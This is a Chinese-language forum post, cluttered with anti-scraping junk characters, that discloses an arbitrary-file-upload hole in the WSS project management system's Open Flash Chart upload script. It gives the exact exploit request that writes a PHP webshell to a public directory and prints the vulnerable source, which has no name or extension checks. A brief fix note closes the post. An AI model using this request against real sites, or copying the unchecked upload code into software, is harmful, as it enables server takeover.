WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
# D) A  b- E4 g7 ]+ w: n$ N 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
9 x1 _5 V$ x3 s
5 [/ a( J0 H; p4 ]; SPost任意数据
! t, S# G2 u5 E* E保存位置http://localhost/chart/tmp-upload-images/hfy.php


# O* ^+ f" Z8 @& U( }最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
: a* }* t- B* T, }/ ]2 q5 n8 e6 g
//
) D1 `6 M+ l4 ^( O// In Open Flash Chart -> save_image debug mode, you
! c) c, G( [0 q( p3 Y9 V. l// will see the 'echo' text in a new window.
//

  b" n) }+ z0 a& U0 z/*
: @  K0 D$ V6 i/ G
8 H3 c/ T8 g' ~$ pprint_r( $_GET );
, C( `$ c: j) S: C: ~& Rprint_r( $_POST );
5 A$ z4 r3 V  n& d) Y3 R$ f9 a0 dprint_r( $_FILES );

- B  y( Y2 \: A! A- k2 U+ {. kprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
% D8 w- C. c9 Q* p( d8 n! q// default path for the image to be stored //
8 a. e; Z8 B7 t, p* d; Q5 b$default_path = '../tmp-upload-images/';

, }7 K7 F( Y# Z* R+ ]7 U0 O* Rif (!file_exists($default_path)) mkdir($default_path, 0777, true);
0 b! `4 t1 K9 e
// full path to the saved image including filename //
+ x( I, C( p1 o" ]8 e8 H2 L  z$destination = $default_path . basename( $_GET[ 'name' ] );

6 q1 k* {4 ]8 yecho 'Saving your image to: '. $destination;
+ S% @6 B6 A2 Q% H$ _  H! P# T// print_r( $_POST );
// print_r( $_SERVER );
% A- k8 c, f0 S. L2 E// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
7 t. y2 ]5 x. ^* M3 t// so PHP is a bit confused and $_POST is empty. But it has saved
# D" l- }& {) ^4 E1 b* E4 _* @3 U// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
% x, f: N# _& w& ^3 P% p" nfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
// LOOK:
//
1 R. h; F6 P6 J5 u0 X" G" iexit();
- M( L/ r" q0 a/ [//
// PHP5:
1 B: {7 B5 |* F$ y# J//

. n0 f; s' P1 S
// default path for the image to be stored //
* `& D* q" A+ ?% D$ Z* ~* c0 e$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
! F, ]! g0 D0 s( i
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
0 n0 J: L2 `  h3 W7 hif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
# C0 O# `( L- o+ }0 l* Y    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
, i- q8 L) J  P+ p  w' {" M} else {
    echo "FILE UPLOAD FAILED";
}
  C% W4 q& `: _4 _

/ u  [- ~- {3 e/ X?>
' g1 }1 H; D: r6 ~! r8 `. L6 {6 r
" c0 \1 s1 o  c6 f0 U

. u9 S1 l2 X( P
- e1 T* y  J3 N4 ^% U8 ?- j
+ m, ?: U) m5 d, V5 t! O+ }
: f, e' b. ^# ?* [# a: Q8 k修复方案：
7 K$ \2 ^6 @$ c% z$ H$ `5 i这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

" z. \$ X4 r: q' J  H" p) E
; w5 i- r/ |' E3 ~3 y  ~2 ~8 T
+ {8 h) T) x" |1 E; r5 [) |